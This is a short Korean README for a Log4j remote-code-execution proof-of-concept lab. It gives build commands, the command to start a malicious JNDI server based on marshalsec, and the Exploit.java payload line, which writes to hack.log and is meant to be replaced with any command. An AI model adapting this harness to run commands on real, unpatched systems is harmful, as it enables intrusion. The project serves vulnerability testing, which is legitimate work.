log4j-rce-test

빌드

./build.sh

log4j RCE 서버 시작

./start-log4j-rce-server.sh

테스트

• java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j 실행 현재 폴더의 hack.log에서 로그가 기록되는지 확인하세요
• 다음 줄을 변경할 수 있습니다
  String[] cmds = { "sh", "-c", "echo 'Exploit at '" + getDateString() + " >> ./hack.log" };
apache-log4j-poc/src/main/java/Exploit.java 파일에서
  원하는 대로 변경한 후 재빌드하고 테스트를 실행하세요
• maven 컴파일 오류가 발생하면 이슈 #1을 확인하세요

크레딧

• https://github.com/tangxiaofeng7/apache-log4j-poc.git
• https://github.com/mbechler/marshalsec.git